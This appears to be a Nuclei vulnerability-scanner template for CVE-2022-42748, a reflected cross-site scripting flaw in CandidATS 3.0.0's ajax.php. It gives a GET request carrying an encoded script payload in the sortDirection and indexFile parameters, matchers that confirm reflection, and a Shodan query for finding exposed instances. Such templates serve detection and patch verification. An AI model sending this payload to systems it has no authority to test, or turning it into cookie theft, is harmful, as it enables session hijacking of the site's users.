id: CVE-2022-42748 info: name: CandidATS 3.0.0 - Cross-Site Scripting. author: arafatansari severity: medium description: | CandidATS 3.0.0 contains a cross-site scripting vulnerability via the sortDirection parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. remediation: | To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor. reference: - https://fluidattacks.com/advisories/modestep/ - https://fluidattacks.com/advisories/jcole/ - https://candidats.net/ - https://nvd.nist.gov/vuln/detail/CVE-2022-42748 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-42748 cwe-id: CWE-79 epss-score: 0.00097 epss-percentile: 0.40348 cpe: cpe:2.3:a:auieo:candidats:3.0.0:-:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: auieo product: candidats shodan-query: http.html:"CandidATS" tags: cve,cve2022,candidats,xss http: - method: GET path: - '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0' matchers-condition: and matchers: - type: word part: body words: - '' - 'candidat' condition: and - type: word part: header words: - text/html - type: status status: - 404 # digest: 4a0a00473045022100c32ff45a09a5c3e314a85b4143515c396eb28c5ad02b194d1ebfac2e2b730e7402200e5b20a1c626509420f9c485f0b3363882df4c63ad907bd97c4d0442d3e7cb9e:922c64590222798bb761d5b6d8e72950